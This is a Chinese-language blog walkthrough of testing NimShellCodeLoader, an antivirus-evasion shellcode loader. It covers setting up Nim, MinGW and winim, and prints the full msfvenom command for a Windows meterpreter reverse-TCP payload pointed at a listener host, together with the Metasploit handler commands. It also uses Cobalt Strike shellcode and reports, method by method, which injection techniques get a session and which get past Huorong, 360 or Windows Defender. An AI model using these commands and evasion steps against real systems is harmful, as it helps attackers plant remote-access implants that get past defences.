1. 前言
本来看着dayu
师傅在freebuf
上更新了NimShellCodeLoader
免杀的文章,所以想着复现下,但是在复现中发现了很多的坑,本来想着都实现一波的,但是事实上由于种种原因,生成的木马执行报错、执行不上线、时间问题等问题有很多。我只对其是否能够过Windows Defender
上进行了测试。
项目地址:
https://github.com/aeverj/NimShellCodeLoader
这里也看出了aeverj
真的好厉害,人家的很多免杀思想可以让我好好学习好久。
这篇文章出不了啥免杀,但是绝对帮你把坑踩平了。
本文所有方法都过不了最新版Windows Defender
,但是大部分方法过火绒,小一半的方法过360
,或者叫过国内主流杀软
应该是没问题的。
本文仅仅是简单的免杀堆叠,没有啥分析,后续会更新更多的免杀方法。
1.1 工具使用的坑
- 环境安装上有坑
- 编译出来的
exe
报错 - 编译出来的
exe
无法上线(少许加载方式)
相关的issue
在作者的github
上也已经有了:
https://github.com/aeverj/NimShellCodeLoader/issues/6
https://github.com/aeverj/NimShellCodeLoader/issues/4
1.2 自行编译的坑
我按照作者的源代码进行编译的时候发现,除了Nim
的模块编译,还需要C#
的编译才行,这一点我没仔细看,所以大家如果使用的话,可以直接下载作者的最新版直接使用即可。
1. nim介绍
Nim
是一种静态类型的、编译型、系统编程语言。它结合了其他成熟语言的成功概念(如 Python
、Ada
和 Modula
)。(参考:https://nim-lang-cn.org/)
2. 环境准备
测试机1:Windows 10
Windows Defender最新版
测试机2:Windows Server2019
、Windows Defender最新版
、火绒联网最新版
攻击机:Mac
、msf
、cs4.3
在以下测试中,均关闭Windows Defender
最新版的自动上传样本功能。
ps:因为环境问题,这里的免杀基本上没有进行太多的测试,只是提供了一些踩坑日记。
2.1 Nim安装
在https://nim-lang.org/install.html
上选择下载Windows
的
然后选择x64
位的下载:
在Chrome
浏览器下载的时候,会报毒:
在这里直接忽略就行了:
将得到的文件解压,然后再移动到C
盘目录下(这个无所谓):
复制bin
目录下的路径:
C:\nim-1.6.4_x64\nim-1.6.4\bin
将该路径添加到环境变量中去:
按照这个步骤,选择系统变量之后,找到Path
,编辑,再新建:
将信息填入之后,保存,打开cmd
命令窗口,输入nim
:
此时代表Nim
安装成功;
2.2 安装MinGW
MinGW
是为Nim
编译所必须的,MinGW主要是编译C
、C++
代码用的,在这里一共有两种方式:
- 直接下载
MinGW
安装 - 利用Nim自带的程序
finish.exe
安装
2.2.1 直接安装MinGW
首先按照教程,安装MinGW
在这里有下载链接地址:
https://sourceforge.net/projects/mingw-w64/files/
下载最新版x64
位版本:
64
位系统建议选择x86_64-posix-sjlj
32
位系统建议选择i686-posix-sjlj
MingGW64
版本区别于各版本说明
https://www.pcyo.cn/linux/20181212/216.html
将解压之后的文件放入到C
盘根目录下:
然后来到bin
目录下,使用命令行检查当前的gcc
版本:
gcc.exe --version
然后就是和上面一样,设置系统环境变量:
在控制面板\系统和安全\系统
中,选择高级系统设置\高级\环境变量
,设置环境变量:
将MinGW
添加到系统环境变量中去:
完成之后,确认退出:
在新的命令行中尝试输入gcc.exe --version
此时证明MinGW
安装成功。
2.2.2 利用Nim自带的程序finish.exe安装
在Nim
的环境中,有一个程序是finish.exe
,可以利用该程序下载MinGW
的安装包:
在命令行里面启动这个文件,一路Y
下去之后,下载完成,利用自带的7z
压缩工具进行解压,解压之后就是手动配置环境变量。
下载完成之后,来到下载文件的目录:
C:\nim-1.6.4_x64\nim-1.6.4\dist\mingw64\bin
复制该路径,添加到系统变量中去,确认之后,打开一个新的cmd
窗口,检测环境是否正常:
2.2.3 注意事项
上述的两种方法中只能使用一种,而且前提是先不使用Nim进行编译工作,否则会由于缓存问题导致第二种线上安装的方式编译出错。
2.3 安装winim库
下载地址:https://github.com/khchen/winim
在当前路径下,使用nimble install
安装即可。
3. NimShellCodeLoader原版
NimShellCodeLoader
是由Nim
编写Windows
平台shellcode
免杀加载器,目前最新的版本为2022年2月3日更新的;
版本号为0.3
;
https://github.com/aeverj/NimShellCodeLoader/releases/tag/0.3
下载下来,解压:
当前作者已经对该文件直接进行了编译,无须再次编译,下面开始测试:
3.1 Windows Defender静态杀毒
当前有Windows Defender
最新版:
此时的Windows Defender
显示安全无毒;
3.2 火绒静态杀毒
4. NimShellCodeLoader源代码编译
注意:当前编译需要c#
编译,在这里我是失败的!!!
从以下链接下载源代码版本:
https://github.com/aeverj/NimShellCodeLoader/releases/tag/0.3
下载之后解压之后放到win10
上,进入encryption
目录下进行编译:
nim c -d:release --opt:size Tdea.nim
nim c -d:release --opt:size Caesar.nim
然后对项目进行C#
编译,我本地没环境。
4. NimShellCodeLoader免杀测试
在下载NimShellCodeLoader
之后,由于没有被杀毒软件查杀,所以在这里我们直接对其进行免杀测试:
首先要做好准备工作:
在攻击机启动msf
,并且生成一个。
4.1 生成shellcode
首先用Msfvenom生成raw格式的shellcode,当前使用了shikata_ga_na编码模块:
生成的监听机器为mac,ip为10.211.55.2,端口:1234
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=1234 -f raw -o payload.bin
1
攻击机开启监听:
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LPORT 1234
LPORT => 1234
msf6 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf6 exploit(multi/handler) > run
将payload拖到窗口中去:
此图来源于作者的项目介绍,稍微有一些小的改动:https://github.com/aeverj/NimShellCodeLoader
注意:以下生成免杀的系统全部关闭了杀软。
4.2 Cobalt Strike生成shellcode
在本地启动一个cs
,然后连接:
建立监听,选择攻击-生成后门-Payload
生成器,生成一个原始的shellcode
文件:
生成payload
:
4.1 OEP_Hiijack_Inject_Load
4.1.1 凯撒加密
当前模块使用的是msf
的shellcode
测试的:
直接在这里点击生成:
生成的文件路径:
直接双击运行:
此时msf
上线正常:
4.1.2 免杀能力
火绒(成功)
测试下上线:
上线正常。
windwos Defender(失败)
秒杀
当前使用CS
生成的shellcode
进行测试:
双击之后上线正常:
同样无法过Windows Defender
4.1.3 3DES加密(无法执行)
使用第二种加密方式:3DES
此时生成的程序无法正常执行:
4.1.4 免杀能力
无法执行,此处略。
4.2 Thread_Hiijack_Inject_Load
4.2.1 凯撒加密(上线失败)
虽然可以生成,但是无法执行上线操作。
4.2.2 3DES加密(cs上线成功)
4.2.3 免杀能力
此时Windows Defender
免杀失败
4.3 APC_Ijnect_Load
4.3.1 凯撒加密(上线失败)
此时cs
上线失败!
4.3.2 DES加密(上线失败)
生成成功,但是上线失败。
4.3.3. 免杀能力(pass)
pass
4.4 Early_Bird_APC_Injetc_Load
4.4.1凯撒加密
上线测试:
4.4.2 免杀能力测试
Windows Defender
免杀测试:
被杀
4.4.3 3DES加密
双击之后,上线成功:
4.4.4 免杀能力测试
4.5 Direct_Load
4.5.1凯撒加密
双击之后上线:
4.5.2 免杀能力测试
Windows Defender
直接查杀
4.5.3 3DES加密
双击之后直接上线:
4.5.4 免杀能力测试
直接被杀
4.6 Thread_Pool_Wait
4.6.2 凯撒加密
双击之后直接上线:
4.6.3 免杀能力测试
4.6.4 3DES加密
双击之后即可上线:
4.6.4 免杀能力
4.7 Fiber_Load
4.7.1 凯撒加密
双击之后上线:
4.7.2 免杀能力
4.7.3 3DES加密
双击之后即可上线:
4.7.4 免杀能力
4.8 CertEnumSystemStore
4.8.1 凯撒加密
4.8.2 免杀能力
4.8.3 3DES加密
双击之后上线正常:
4.8.4 免杀能力
4.9 CertEnumSystemStoreLocation
4.9.1 凯撒加密
双击之后,上线正常:
4.9.2 免杀能力
4.9.3 3DES加密
双击之后,正常上线:
4.9. 4 免杀能力
4.10 CopyFile2
4.10.1 凯撒加密
4.10.2 免杀能力
4.10.3 3DES加密
4.10.4 免杀能力
5. 其他免杀方法
由于篇幅问题,我在这里将后续的所有方法都进行了整理,分别生成了凯撒加密
和3des
加密之后的文件,并且直接使用Windows Defender
进行扫描杀毒,如果有免杀Windows Defender
的文件,再进行其上线功能测试。
其他的免杀方法如下
5.1 EnumFontsW
5.2 EnumFontFamiliesW
5.3 EnumFontFamiliesExW
5.4 EnumDisplayMonitors
5.5 EnumDesktopWindows
5.6 EnumDesktopW
5.7 EnumChildWindows
5.8 CopyFileEx
5.9 CreateTimerQueueTimer_Tech
5.10 CryptEnumOIDInfo
5.11 EnumChildWindows
全部使用Windows Defender查杀:
查杀之后,清理电脑,看下有无能够存活的exe:
此时所有的exe
全部被杀。。。。。。
6. 总结
在以上的测试中,NimShellCodeLoader
提供的21种注入加载方法,而且还有两种不同的加密技术,并且密钥随机,每次生成的文件拥有不同的hash
值。
但是由于公开的原因,目前无法直接过Windows Defender
(2022.03.17)。
因为篇幅原因,我并未对其是否免杀火绒和360
进行测试,理论上将其中的绝大多数方法可以过火绒,大部分方法可以过360
杀毒。(我并未对其进行测试,只是我的一个猜想)
当然,作者还提供了拓展的思路和指引,如果加上自己的某些修改,理论上将是可以过Windows Defender
的,等后续有时间,我再学习学习。